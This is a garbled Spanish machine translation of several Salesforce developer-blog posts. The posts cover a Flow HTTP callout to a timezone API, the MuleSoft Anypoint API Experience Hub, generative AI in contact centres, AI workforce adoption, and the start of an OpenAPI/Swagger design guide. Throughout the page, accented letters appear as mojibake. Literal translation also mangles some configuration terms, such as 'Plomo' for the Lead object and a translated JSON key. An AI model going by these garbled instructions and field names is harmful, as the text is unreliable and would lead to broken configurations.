  3. Haga clic en Nuevo legado .
  4. Rellene la p谩gina con la URL y los par谩metros de autenticaci贸n del extremo de la llamada.
  5. Haga clic en Guardar .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione la opci贸n Flujo activado por registro , haga clic en Crear
    1. Objeto: Plomo
    2. Activar el flujo cuando: se crea un registro
    3. Establecer condiciones de entrada: se cumplen todas las condiciones (Y)
    4. Fila 1:
      1. Campo : Posici贸n_Actual__Latitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    5. Haga clic en + Agregar condici贸n
    6. Fila 2:
      1. Campo : Posici贸n_Actual__Longitud__s
      2. Operador : es nulo
      3. Valor : {!$ConstanteGlobal.Falso}
    7. Optimizar el flujo para : acci贸n y registros relacionados
    8. Elija la opci贸n para incluir una ruta de ejecuci贸n as铆ncrona para acceder a un sistema externo despu茅s de que la transacci贸n original para el registro de activaci贸n se confirme con 茅xito .
  5. Haga clic en Listo.

Paso 3.2: f贸rmula para calcular la marca de tiempo

  1. En Caja de herramientas , seleccione Administrador y luego haga clic en Nuevo recurso para calcular los segundos desde la 茅poca de Unix (1 de enero de 1970, 00:00:00).
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : F贸rmula
    2. Nombre de API : forN_Timestamp
    3. Tipo de datos : N煤mero
    4. Lugares decimales : 0
    5. F贸rmula : RONDA((AHORA() 鈥 FECHAHORAVALUE(鈥1970-01-01 00:00:00鈥)) * 24 * 60 * 60, 0)
  3. Haga clic en Listo.

Paso 3.3: configurar una acci贸n de llamada HTTP GET

HTTP Callout lo gu铆a a trav茅s de la introducci贸n de los detalles sobre el servicio HTTP basado en web o el punto final de la API REST al que se est谩 conectando. Despu茅s de completar la configuraci贸n, invoca la acci贸n en un flujo.

  1. En el nodo Ejecutar asincr贸nicamente , seleccione Acci贸n .
  2. Haga clic en + Crear llamada HTTP .
  3. Configure el servicio externo que conecta Salesforce con la API basada en HTTP.
    1. Introduzca un Nombre para el servicio externo.
    2. Seleccione la credencial con nombre que cre贸 en el paso 2 .
    3. Haga clic en Siguiente .
  4. El siguiente paso es configurar la acci贸n invocable que puede usar en Flow Builder o en Salesforce.
    1. Para Etiqueta , ingrese la acci贸n que realiza la llamada.
    2. M茅todo : OBTENER
    3. Agregue el extremo de la URL para la solicitud.
      1. Ruta URL : /maps/api/timezone/json
    4. Agregue claves de par谩metros de consulta si la API a la que est谩 llamando las tiene. Cuando usa esta acci贸n en un flujo, ingresa valores para las claves definidas.
      1. Haga clic en Agregar clave
        1. Clave : ubicaci贸n
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
      2. Haga clic en Agregar clave
        1. Clave : marca de tiempo
        2. Tipo de datos : entero
        3. Requerido : Verdadero
      3. Haga clic en Agregar clave
        1. Clave: clave
        2. Tipo de datos : cadena
        3. Requerido : Verdadero
  5. Proporcione un cuerpo de respuesta de API de muestra. Salesforce genera una estructura de datos a partir de la respuesta de muestra.
    1. Vaya a la secci贸n Proporcione una respuesta de muestra .
    2. Haga clic en Nuevo .
    3. Pegue una respuesta JSON de muestra .
       { "timeZoneName": "cadena de muestra", "compensaci贸n sin procesar": 1, "timeZoneId": "cadena de muestra", "errorMessage": "cadena de muestra", "dstOffset": 1, "estado": "cadena de muestra"
      }
Continue reading

Aumente el compromiso de la API con Anypoint API Experience Hub 鈽侊笍

Aumente el compromiso de la API con Anypoint API Experience Hub 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Aumente el compromiso de la API con Anypoint API Experience Hub | Blog de desarrolladores de Salesforce

驴Alguna vez trabaj贸 en un proyecto el 90% del camino, solo para descubrir que alguien m谩s ya lo hab铆a hecho? El uso de API es una forma com煤n de integrar varios sistemas y crear aplicaciones modernas. Las API son bloques de construcci贸n componibles que ayudan a brindar servicios digitales m谩s r谩pido. Pero, la realidad es que las API creadas dentro de una organizaci贸n a menudo carecen de visibilidad y documentaci贸n relevante para promover su reutilizaci贸n por parte de otros equipos. 驴Qu茅 sucede si puede tener una 煤nica fuente de verdad que le permita encontrar, ver e interactuar con las API?

Nos complace anunciar el lanzamiento de Anypoint API Experience Hub , la soluci贸n de portal de API personalizable de MuleSoft que ayuda a las organizaciones a administrar mejor su cartera de API y maximizar sus inversiones en API. En esta publicaci贸n de blog, profundizaremos en las funciones y los beneficios de la nueva soluci贸n para desarrolladores y organizaciones.

驴Qu茅 es un portal API?

Un portal de API es una interfaz integral que ayuda a los proveedores de API a exponer y publicitar sus API, educar a las comunidades de desarrolladores sobre ellas, compartir documentaci贸n y proporcionar acceso de autoservicio a los consumidores de API . Algunos portales de API tienen capacidades adicionales, como un servicio de simulaci贸n, que permite a los desarrolladores probar una API, ver respuestas de ejemplo y analizar si la API cumple con sus requisitos, lo que ahorra tiempo general al desarrollador. Los portales de API se pueden crear tanto para desarrolladores internos como externos, lo que brinda oportunidades para aumentar el valor comercial de sus API.

En el backend, un buen portal de API tambi茅n requiere administraci贸n de usuarios y API, seguridad integrada y la capacidad de realizar cambios r谩pidamente en el portal cuando sea necesario. Con todos estos factores en mente, MuleSoft ha creado una soluci贸n que permite a las organizaciones crear portales de API de marca que aumentan la visibilidad de la API y la participaci贸n de los desarrolladores.

Centro de experiencia de la API Anypoint

Hoy, MuleSoft lanz贸 Anypoint API Experience Hub , una nueva soluci贸n que permite a las organizaciones crear portales para desarrolladores para sus productos API. Con API Experience Hub, los gerentes de productos de API pueden crear portales de desarrolladores personalizados en cuesti贸n de minutos utilizando una plantilla lista para usar que los ayuda a producir, publicar e interactuar con las API creadas en cualquier tecnolog铆a o plataforma.

API Experience Hub est谩 impulsado por Salesforce Experience Cloud y es parte de la soluci贸n Universal API Management de MuleSoft , que permite a las organizaciones descubrir, controlar, publicar e interactuar con cualquier API creada en cualquier puerta de enlace o entorno.

Como desarrollador, podr谩 aprovechar los siguientes beneficios con Anypoint API Experience Hub :

  • Cree portales de API en cuesti贸n de minutos
  • Descubra y reutilice las API f谩cilmente
  • Ahorre tiempo en la documentaci贸n
  • Colaborar con otros desarrolladores

Echemos un vistazo a cada beneficio en detalle.

Cree portales de API en cuesti贸n de minutos

Con API Experience Hub, no necesita experiencia en desarrollo web para crear un portal de API, lo que le ahorra semanas de creaci贸n y resoluci贸n de problemas de un sitio web desde cero. Se le guiar谩 a lo largo del proceso sin necesidad de alternar entre la documentaci贸n y las p谩ginas de configuraci贸n del portal. Puede personalizar la marca y los colores de su organizaci贸n con clics, lo que le permite crear su portal API en cuesti贸n de minutos.

驴Quiere hacer cambios en la plantilla base? Puede personalizar a煤n m谩s a trav茅s de Salesforce Experience Builder y arrastrar y soltar varios componentes. Aprovechando las capacidades de Experience Cloud, incluso puede desarrollar y agregar componentes web de iluminaci贸n personalizados para mejorar a煤n m谩s la experiencia del usuario.

Descubra y reutilice las API f谩cilmente

Dado que API Experience Hub es parte de Anypoint Platform, cualquier API dentro de su organizaci贸n que est茅 catalogada en Anypoint Exchange puede estar disponible en su portal de API. Anypoint Exchange es un mercado interno para su organizaci贸n donde puede compartir especificaciones de API, fragmentos, conectores, plantillas de integraci贸n y m谩s. Sin embargo, con API Experience Hub, los desarrolladores pueden seleccionar y compartir las API m谩s consumibles para consumo interno y externo. Adem谩s, Experience Hub viene con capacidades de b煤squeda integradas que le permitir谩n encontrar API espec铆ficas r谩pida y f谩cilmente para su reutilizaci贸n.

Tambi茅n hay una p谩gina de detalles de API incorporada que le brinda informaci贸n sobre cada API y le permite descargar o solicitar acceso a las API.

Ahorre tiempo en la documentaci贸n

Entonces, quiz谩s se pregunte, 驴c贸mo funciona la documentaci贸n? Cuando su especificaci贸n de API est茅 lista para compartirse en el portal de API, 隆no necesitar谩 documentar todo desde cero! Con capacidades de documentaci贸n autogenerativa, Experience Hub completa la documentaci贸n y los ejemplos seg煤n la especificaci贸n de su API. Esto te beneficia de dos maneras enormes:

  1. Ahorre tiempo al crear la documentaci贸n de especificaci贸n de su API. Por supuesto, puede agregar documentaci贸n personalizada o agregar m谩s contexto, pero Experience Hub har谩 la mayor parte del trabajo por usted.
  2. Cuando busque API para incorporar a su proyecto, puede ir al portal de API sabiendo que hay documentaci贸n y ejemplos disponibles.

Por 煤ltimo, Experience Hub viene con una funci贸n Pru茅belo que le permite realizar llamadas simuladas a una API para averiguar c贸mo ser铆a una respuesta de ejemplo.

Colaborar con otros desarrolladores

Como se mencion贸 anteriormente, Anypoint API Experience Hub se basa en Salesforce Experience Cloud , un sistema de publicaci贸n web de clase empresarial. Esto significa que cuando crea un portal de API a trav茅s de Experience Hub, puede aprovechar numerosas capacidades listas para usar para comunidades, foros y soporte. Para obtener m谩s informaci贸n sobre Experience Cloud, consulte esta ruta .

El portal de API personalizado ayuda a mejorar el compromiso con las API al permitir que los desarrolladores internos y externos colaboren de manera efectiva para mejorar una API, todo dentro de una 煤nica plataforma unificada sin silos de conocimiento.

Conclusi贸n

Con Anypoint API Experience Hub, puede crear un portal de API r谩pidamente, descubrir y reutilizar API, ahorrar tiempo en la documentaci贸n y colaborar f谩cilmente con otros desarrolladores. Su organizaci贸n puede poner en funcionamiento un portal API en cuesti贸n de minutos a trav茅s de un proceso de configuraci贸n simple y una plantilla de portal.

Si desea obtener m谩s informaci贸n sobre Anypoint API Experience Hub, consulte nuestro video de presentaci贸n de productos .

Sum茅rjase a煤n m谩s en Anypoint API Experience Hub viendo nuestro seminario web, Cree ecosistemas de API m谩s r谩pido en la plataforma Anypoint de MuleSoft . En este seminario web, aprender谩 c贸mo el nuevo Anypoint API Experience Hub, creado en Salesforce Experience Cloud, le permite crear r谩pidamente experiencias de API atractivas utilizando las API catalogadas en Anypoint Exchange.

Sobre el Autor

Sue Siao es directora t茅cnica de marketing de productos en Salesforce. Es una creadora de contenido que da vida a los productos a trav茅s de demostraciones t茅cnicas. Fuera del horario laboral, es mentora de j贸venes en el 脕rea de la Bah铆a de San Francisco y practica boulder.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

4 formas en que su centro de contacto puede comenzar con IA generativa

4 formas en que su centro de contacto puede comenzar con IA generativa

El tema m谩s candente en el servicio hoy en d铆a es la IA generativa, especialmente en el centro de contacto. El 84 % de los l铆deres de TI que encuestamos en un estudio reciente dicen que la IA generativa ayudar谩 a su organizaci贸n a atender mejor a los clientes, y todos los d铆as hablo con l铆deres de servicio que est谩n entusiasmados con el potencial de la IA generativa del centro de contacto.

Sin embargo, solo el 24 % utiliza alguna forma de IA del centro de contacto. 驴Qu茅 hay en el camino? El 66% dice que sus empleados no tienen las habilidades adecuadas para poner en uso con 茅xito la IA generativa. As铆 que echemos un vistazo a las cuatro formas en que puede usar la IA del centro de contacto, junto con ejemplos de casos de uso y consejos que lo ayudar谩n a comenzar.

Modernice su centro de contacto

La combinaci贸n correcta de canales de atenci贸n al cliente y herramientas de IA puede ayudarlo a ser m谩s eficiente y mejorar la satisfacci贸n del cliente. Nuestra gu铆a revela c贸mo las organizaciones de servicio de alto rendimiento lo hacen posible.

1. Generar respuestas de servicio a los clientes

Su centro de contacto ofrece m煤ltiples formas para que los clientes se comuniquen con su empresa, desde tel茅fono hasta correo electr贸nico, chat y SMS. Si bien muchos clientes todav铆a usan el tel茅fono, el 57% ahora prefiere usar canales digitales. Sus agentes que trabajan en estos canales digitales deben brindar informaci贸n precisa y relevante, responder de manera oportuna y resolver el problema del cliente r谩pidamente.

Entonces, 驴c贸mo puede ayudar la IA generativa ? Los grandes modelos de lenguaje que impulsan la IA generativa pueden generar autom谩ticamente una respuesta similar a la humana a cualquier pregunta. Cuando se basa en los datos y la base de conocimientos de sus clientes, puede personalizar estas respuestas generadas, haci茅ndolas m谩s confiables. Los agentes pueden revisar las sugerencias del modelo y enviarlas f谩cilmente. Para los agentes que trabajan en varios casos a la vez, la IA del centro de contacto puede ser un verdadero ahorro de tiempo.

Veamos un ejemplo de una compa帽铆a ficticia de Internet que llamaremos Nation-Wide Web.

Jane es cliente de Nation-Wide Web y nota un cargo inusual en su factura. Jane abre un mensaje de chat en el sitio web de la empresa y pronto se conecta con una agente, Katie.

Katie tiene abiertas algunas ventanas de mensajes de clientes, una de ellas es Jane. Jane comparte sus preocupaciones sobre su factura. Aparentemente, Jane revis贸 su paquete de datos del mes. La herramienta de inteligencia artificial del centro de contacto usa la pregunta de Jane y el contexto del estado de su cuenta para generar un mensaje personalizado que explica este cargo en un tono emp谩tico, pero tambi茅n que est谩 dentro de la pol铆tica de la empresa renunciar a la tarifa dadas las circunstancias.

Katie revisa el mensaje y confirma la pol铆tica, luego env铆a el mensaje y elimina el cargo de la cuenta de Jane. Jane est谩 contenta de haber obtenido una soluci贸n r谩pida y sencilla y Katie puede centrar su atenci贸n en los clientes con problemas m谩s complejos.

Consejo: Tomarse el tiempo para revisar la precisi贸n y el tono de cualquier comunicaci贸n con el cliente ayuda a evitar malentendidos.

2. Generaci贸n de res煤menes de casos

Para brindarle a su cliente una gran experiencia, necesita datos precisos para rastrear y optimizar las interacciones de servicio de su empresa. Esto hace que el resumen de recapitulaci贸n que hacen sus agentes despu茅s de que se cierra un caso sea uno de los datos de servicio m谩s cruciales que su empresa puede recopilar.

驴El reto? Esta es una tarea que requiere mucho tiempo y evita que sus agentes ayuden a otros clientes.

Pero la IA del centro de contacto puede tomar las conversaciones de chat y correo electr贸nico m谩s complejas y generar un resumen propuesto. Su agente solo necesita revisar estos res煤menes antes de que se guarden en el registro de casos. Esto ahorra a los agentes una tonelada de tiempo y esfuerzo en la entrada de datos.

Volvamos a nuestro ejemplo de Nation-Wide Web.

Si recuerda, la herramienta de inteligencia artificial de Katie gener贸 una respuesta para Jane y todo lo que Katie tuvo que hacer fue revisar el mensaje, presionar enviar y cancelar la tarifa de la cuenta de Jane. Mientras tanto, la IA est谩 utilizando los datos del hilo de mensajes y las acciones que Katie realiz贸 en la cuenta de Jane para generar un resumen del caso.

Una vez completada la conversaci贸n con Jane, Katie puede leer este resumen propuesto, ajustar algunos detalles y guardarlo en el expediente del caso. Reducir el trabajo posterior a la llamada ayuda a Katie a ayudar a otros clientes m谩s r谩pido.

Sugerencia: Cree una plantilla para los res煤menes de sus casos para que la herramienta de inteligencia artificial de su centro de contacto pueda extraer f谩cilmente los datos de la conversaci贸n en el CRM sin perder detalles importantes.

3. Generaci贸n de art铆culos de conocimiento

La investigaci贸n de Salesforce muestra que el 59% de los clientes prefieren herramientas de autoservicio para problemas de servicio simples. Sin embargo, para hacer eso, una empresa necesita una gran base de conocimientos en la que los clientes puedan buscar para encontrar una soluci贸n.

Los agentes de servicio a menudo tienen la tarea de publicar art铆culos de conocimiento despu茅s de resolver un caso. Pero lleva tiempo que los agentes creen, revisen y publiquen manualmente un art铆culo, lo que les impide ayudar a los clientes que lo necesitan.

La IA del centro de contacto puede generar autom谩ticamente un art铆culo de la base de conocimientos despu茅s de que se cierra un caso de soporte extrayendo notas del caso, historial de mensajes y datos de otras herramientas de servicio. A partir de ah铆, su agente solo necesita revisar el art铆culo para garantizar la precisi贸n y agregarlo a la cola para su aprobaci贸n. Esto elimina la presi贸n de los agentes para escribir art铆culos desde cero.

Volviendo a nuestro ejemplo de Nation-Wide Web, Austin tiene Internet lento y llamadas para solucionar problemas. Est谩 conectado con Tawni, quien le pide los detalles de su enrutador y m贸dem. Tawni analiza algunos escenarios comunes basados en casos similares, pero ninguno funciona para la configuraci贸n de Austin.

Tawni decide probar algo nuevo. Le pide a Austin que reinicie todo el sistema a trav茅s de la aplicaci贸n m贸vil Nation-Wide Web. Una vez que esto termina, las velocidades de Internet de Austin vuelven a la normalidad y el caso se cierra. Tawni registra toda esta informaci贸n en la consola de servicio de la empresa, incluida la configuraci贸n de su enrutador y m贸dem, y c贸mo resolvi贸 este problema con un reinicio.

Debido a que este fue un caso 煤nico, la herramienta de inteligencia artificial del centro de contacto utiliza los detalles de la conversaci贸n de Tawni con Austin y el contexto del problema de Austin para generar un nuevo art铆culo de base de conocimiento. Tawni agrega algunos detalles adicionales y los empuja a la cola de aprobaci贸n.

Sugerencia: incluya tantos detalles como sea posible en los art铆culos de su base de conocimiento para que los clientes tengan toda la informaci贸n que necesitan para resolver sus problemas.

4. Generar respuestas

Cuando sus agentes est谩n en medio de una interacci贸n de servicio, no tienen tiempo para leer p谩ginas de documentaci贸n o cada detalle de un art铆culo de la base de conocimiento. Pero a煤n necesitan encontrar la informaci贸n correcta para resolver la consulta de su cliente.

Lo mismo ocurre con el autoservicio . Leer art铆culo tras art铆culo para encontrar la informaci贸n que necesita no es una buena experiencia para el cliente.

La IA generativa puede ayudar a los agentes y clientes a obtener las respuestas que necesitan de forma m谩s r谩pida y sencilla. En lugar de obtener una lista de p谩ginas que pueden (o no) tener la respuesta, AI puede extraer los detalles relevantes de un art铆culo de conocimiento y responder una pregunta directamente como texto sin formato.

Para nuestro ejemplo final, volveremos a nuestro cliente de Nation-Wide Web, Austin.

Unos meses despu茅s de su interacci贸n con Tawni, su Internet vuelve a ser lento. Recuerda que usaron la aplicaci贸n m贸vil para solucionar el problema la 煤ltima vez, pero ahora no puede acceder a la aplicaci贸n m贸vil. Pero en lugar de pedir ayuda, echa un vistazo al Centro de ayuda de la empresa. Austin usa la funci贸n de b煤squeda para hacer la siguiente pregunta: "驴C贸mo soluciono una conexi贸n a Internet lenta cuando no puedo acceder a mi aplicaci贸n m贸vil?"

Antes, Austin primero habr铆a tenido que encontrar el art铆culo sobre c贸mo restablecer su contrase帽a y luego encontrar el art铆culo sobre el uso de la aplicaci贸n para realizar un reinicio completo del sistema. Ahora, la herramienta de inteligencia artificial del centro de contacto genera una respuesta personalizada a la pregunta de Austin, reuniendo informaci贸n de varios art铆culos. 鈥淧rimero, haga clic aqu铆 para solicitar una nueva contrase帽a para su aplicaci贸n m贸vil. Una vez que haya iniciado sesi贸n, aqu铆 se explica c贸mo usar la aplicaci贸n para realizar un reinicio completo del sistema鈥︹

Austin resolvi贸 su problema sin interactuar con un agente y aun as铆 obtuvo una experiencia personalizada. Si un agente fuera el que necesitara encontrar informaci贸n espec铆fica dentro del centro de conocimiento, tendr铆a la misma experiencia.

Sugerencia: hacer que su contenido de autoservicio sea f谩cil de encontrar y navegar genera confianza en el cliente.

Al agregar IA generativa a su centro de contacto , est谩 ayudando a todos a aprovechar al m谩ximo cada interacci贸n de servicio. Sus agentes hacen m谩s con menos trabajo y sus clientes obtienen una resoluci贸n r谩pida y f谩cil a sus problemas mientras disfrutan de una experiencia personalizada.

驴Cu谩l es la mejor manera de prepararse para el 茅xito con la IA generativa? Comience lentamente y desarrolle su programa de IA para el centro de contacto a medida que aumenta sus habilidades comerciales en IA. Por ejemplo, haga que sus agentes tomen Recomendaciones de respuesta de Einstein para el servicio en Trailhead y luego practiquen lo que aprenden entre ellos. Una vez que se sientan c贸modos, vea c贸mo puede aplicar IA generativa en su centro de contacto .

Potencie su servicio al cliente con IA generativa

Puede escalar su servicio al cliente con el poder de la IA generativa junto con los datos de su cliente y CRM. Vea c贸mo esta tecnolog铆a mejora la eficiencia en el centro de contacto y aumenta la lealtad del cliente.

Continue reading

C贸mo acelerar su 茅xito en la era de la IA

C贸mo acelerar su 茅xito en la era de la IA

En el panorama en r谩pida evoluci贸n de la IA generativa , su verdadero potencial radica en c贸mo la gente la usa. Para tener 茅xito, las organizaciones deben adoptar una estrategia centrada en el ser humano que integre cuidadosamente la IA en la fuerza laboral . Este enfoque conecta a las personas con la nueva tecnolog铆a de inteligencia artificial para abordar las necesidades de los clientes, reducir los desaf铆os y generar valor r谩pidamente. Las organizaciones pueden lograr una mayor satisfacci贸n de los clientes y empleados incorporando caracter铆sticas mejoradas de IA, mejorando el rendimiento y el crecimiento y aumentando la adopci贸n.

La realidad es que un n煤mero significativo de esfuerzos de transformaci贸n se quedan cortos. Las encuestas revelan que un asombroso 70 % de tales iniciativas fallan , lo que lleva a una implementaci贸n y adopci贸n lentas de nuevas herramientas, obst谩culos para el uso de la tecnolog铆a y resistencia a nuevas formas de trabajar. A menudo, esta falla se deriva de la falta de enfoque en la intersecci贸n cr铆tica entre la tecnolog铆a y las personas. Pero no tiene por qu茅 ser as铆.

Descubre IA + Datos + CRM con Fase 0

Los servicios profesionales de Salesforce lo ayudar谩n a crear un plan estrat茅gico para el 茅xito a largo plazo y lo ayudar谩n a beneficiarse de los r谩pidos avances tecnol贸gicos.

A medida que navegamos por esta nueva era, debemos cambiar nuestra mentalidad y adoptar las tendencias emergentes, los datos, los conocimientos del mercado y las abundantes oportunidades que presenta la IA. Explore las consideraciones clave para guiarlo en el camino hacia el 茅xito. Empod茅rate para navegar el poder transformador de la IA y crea un futuro donde la innovaci贸n y el potencial humano converjan sin problemas.

驴C贸mo es adoptar un enfoque centrado en el ser humano para la adopci贸n de IA? Depende de su organizaci贸n y su progresi贸n, ya que cada cultura es diferente. Sin embargo, hay ciertos aspectos del cambio que puede anticipar:

  • Coloque a las personas y su comprensi贸n al frente de la transformaci贸n.
  • Alinear los resultados en funci贸n de las necesidades y objetivos espec铆ficos de esas personas.
  • Promover la inclusi贸n y la adaptabilidad para abordar los diversos factores que dan forma al panorama en constante cambio.

La implementaci贸n de IA en la fuerza laboral y la cultura organizacional es una tarea compleja que abarca varios desaf铆os. Sin embargo, navegar este cambio puede desbloquear beneficios sustanciales. AI ofrece una nueva forma de ver el trabajo y su impacto se extender谩 m谩s all谩 de lo que esperamos hoy. Aborda tu transformaci贸n digital con los cinco elementos del marco de 茅xito del cliente de Salesforce para ser 谩gil frente a este nuevo est谩ndar.

Adopte la flexibilidad para construir IA en la fuerza laboral m谩s r谩pido

La IA se est谩 desarrollando de manera r谩pida y dif铆cil de predecir, por lo que planificar en torno a un punto final determinado no es una estrategia eficaz. En cambio, podemos construir los cimientos para fuerzas de trabajo preparadas para la IA que aprovechen tantas oportunidades como sea posible.

En resumen: ser una fuerza laboral lista para el cambio es ser una fuerza laboral lista para la IA.

Al adoptar una mentalidad basada en los resultados, las organizaciones desbloquean su potencial para conectarse con los clientes y lograr sus objetivos comerciales principales. Estos cambios ofrecen grandes beneficios, como ahorrar dinero a trav茅s de nuevas formas de trabajar.

Estos cambios son m谩s exitosos cuando la centralidad humana es un enfoque principal, considerando c贸mo las personas experimentan el cambio. La innovaci贸n continua es clave para la evoluci贸n de la tecnolog铆a, asegurando que se alinee con las necesidades y expectativas en constante evoluci贸n de las personas y las organizaciones.

Lo que recomendamos:

  • Cultiva las habilidades de IA de tu equipo.
  • Fomente una cultura adaptativa dentro de su lugar de trabajo fomentando la experimentaci贸n.
  • Cree un marco de aprendizaje estructurado proporcionando recursos y una hoja de ruta clara para una utilizaci贸n eficaz.
  • Utilice la narraci贸n para visualizar el futuro del trabajo.
  • Comience a evaluar la preparaci贸n para el cambio.

Fomentar la estabilidad para una fuerza laboral resiliente

Los l铆deres tienen un papel importante en la formaci贸n de la mentalidad organizacional y en el cultivo de un entorno seguro que permita a las personas buscar el crecimiento. Abra la puerta al aprendizaje de nuevas tecnolog铆as y formas de trabajar como una habilidad fundamental para la innovaci贸n y el cambio.

Al comprender y empatizar con la respuesta emocional y humana a esta tecnolog铆a innovadora, podemos encontrar un camino claro para desbloquear su potencial m谩s r谩pidamente.

Tome este enfoque:

  • Promueva la seguridad psicol贸gica para ayudar a los equipos a desarrollar una mentalidad de principiante.
  • Proyecte una visi贸n del estado futuro que incluya a todos.
  • Fomente un entorno que enfatice el aprendizaje continuo y reformule las nuevas herramientas habilitadas para IA.
  • Pida a los empleados que identifiquen partes de su trabajo que podr铆an automatizarse o aumentarse con IA.
  • Reconocer los primeros esfuerzos para adoptar nuevas tecnolog铆as.

Genere confianza para una adopci贸n tecnol贸gica exitosa

Si sus empleados tienen reservas acerca de las nuevas tecnolog铆as, es esencial abordar sus inquietudes para fomentar la aceptaci贸n y el entusiasmo. Generar confianza se convierte en un factor clave en este proceso, ya que el tema de las conversaciones en torno a la IA puede generar incertidumbre . Trate de aliviar estos temores mediante el desarrollo de una estrategia para introducir nuevas tecnolog铆as a su fuerza laboral y empoderarlos con las habilidades necesarias.

Lograr una alineaci贸n , donde todos est茅n unidos en torno a un objetivo com煤n, es crucial. Al poner 茅nfasis en alinear la comunicaci贸n sobre el cambio y fomentar una comprensi贸n clara de sus beneficios, influimos en c贸mo las personas reaccionan y adoptan las iniciativas de transformaci贸n.

Lo que puedes hacer:

  • Aborde las nuevas tecnolog铆as como mejoras de la productividad en lugar de un reemplazo de la fuerza laboral.
  • Escuche y aborde temores espec铆ficos proporcionando mecanismos de retroalimentaci贸n adaptados a las inquietudes de sus clientes o equipo.
  • Implemente oportunidades de mejora de habilidades de inmediato.
  • Incluya a sus equipos en la toma de decisiones para que puedan adaptarse al panorama cambiante.
  • Proporcione una alternativa transparente y cre铆ble para el futuro dentro de su equipo.

Impulse la transformaci贸n continua con
La Oficina de Innovaci贸n Continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el m谩ximo valor de su inversi贸n en Salesforce.

Aumente la colaboraci贸n con una mentalidad de plataforma

Las organizaciones, como las personas, tienen una mentalidad de plataforma que influye en su respuesta al cambio. Algunos equipos aceptan el cambio y priorizan el crecimiento, mientras que otros se sienten m谩s c贸modos manteniendo el statu quo.

Cuando las organizaciones adoptan una mentalidad de plataforma, van m谩s all谩 de ver la IA como una herramienta independiente y, en cambio, crean un entorno que fomenta las conexiones de los usuarios, el intercambio de conocimientos y el progreso colaborativo. Al comprender qu茅 distingue a su plataforma y c贸mo los usuarios pueden obtener el m谩ximo beneficio de ella, las organizaciones pueden utilizar mejor el verdadero poder de la IA en la fuerza laboral.

Intenta hacer esto:

  • Resalte los beneficios, la colaboraci贸n, los procesos simplificados y la innovaci贸n para enfatizar el valor de la IA.
  • Fomentar el intercambio, la creaci贸n de redes, el aprendizaje y el intercambio de ideas entre los usuarios.
  • Proporcione recursos integrales para ayudar a los usuarios a navegar y usar la plataforma de manera efectiva.
  • Busque comentarios, itere en funci贸n de las necesidades de los usuarios y mant茅ngase a la vanguardia para mejorar continuamente su plataforma.

Aprovecha las oportunidades que te esperan

El cambio ocurre a la velocidad de las personas y, en la era de la IA, el ritmo de la transformaci贸n se ha acelerado exponencialmente. La oportunidad de aprovechar la IA e impulsar la innovaci贸n surge m谩s r谩pido que nunca, brindando a las organizaciones una oportunidad 煤nica de mantenerse a la vanguardia y obtener una ventaja competitiva.

Descubra el potencial que tiene por delante y prep谩rese para el futuro. Con茅ctese con los servicios profesionales de Salesforce hoy para analizar sus objetivos de transformaci贸n 煤nicos y explorar c贸mo nuestra experiencia puede ayudarlo a adoptar con 茅xito la IA en la fuerza laboral.

Continue reading

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Dise帽e una API Swagger con c贸digo para traer datos a Salesforce 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Dise帽e una API de Swagger con c贸digo para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integraci贸n de una API externa con su organizaci贸n de Salesforce puede ser una tarea sencilla que no requiere c贸digo si utilizaCredenciales con nombre y Servicios externos . Deber谩 crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuraci贸n. La clave aqu铆 es proporcionar una especificaci贸n OpenAPI para la API. Si la API no tiene una, puede dise帽arla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el c贸digo de c贸digo abierto.

En esta publicaci贸n, le presentaremos la especificaci贸n OpenAPI y Swagger, discutiremos los elementos principales de la especificaci贸n y lo guiaremos a trav茅s del dise帽o e implementaci贸n de una API con c贸digo. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificaci贸n para dise帽ar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, m茅todos de autenticaci贸n y m谩s. Las especificaciones de OpenAPI est谩n escritas en formatos YAML o JSON, ambos f谩ciles de leer y escribir. Esta especificaci贸n es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opci贸n popular para dise帽ar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deber谩 especificarse con OpenAPI. Adem谩s, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicaci贸n, la versi贸n actual de la especificaci贸n OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayor铆a de c贸digo abierto ) para implementar la especificaci贸n OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gr谩fica para comprender y probar las API, y Swagger Codegen, que genera c贸digo SDK de cliente y ap茅ndices de servidor a partir de una especificaci贸n OpenAPI.

La especificaci贸n OpenAPI v2 tambi茅n se conoce como Swagger, pero su nombre cambi贸 cuando se convirti贸 en parte de la iniciativa OpenAPI en 2016.

Estructura b谩sica de la especificaci贸n OpenAPI

La especificaci贸n OpenAPI est谩 organizada en las siguientes secciones clave:

API abierta Define el documento ra铆z y combina la lista de recursos y la declaraci贸n de la API. Requerido
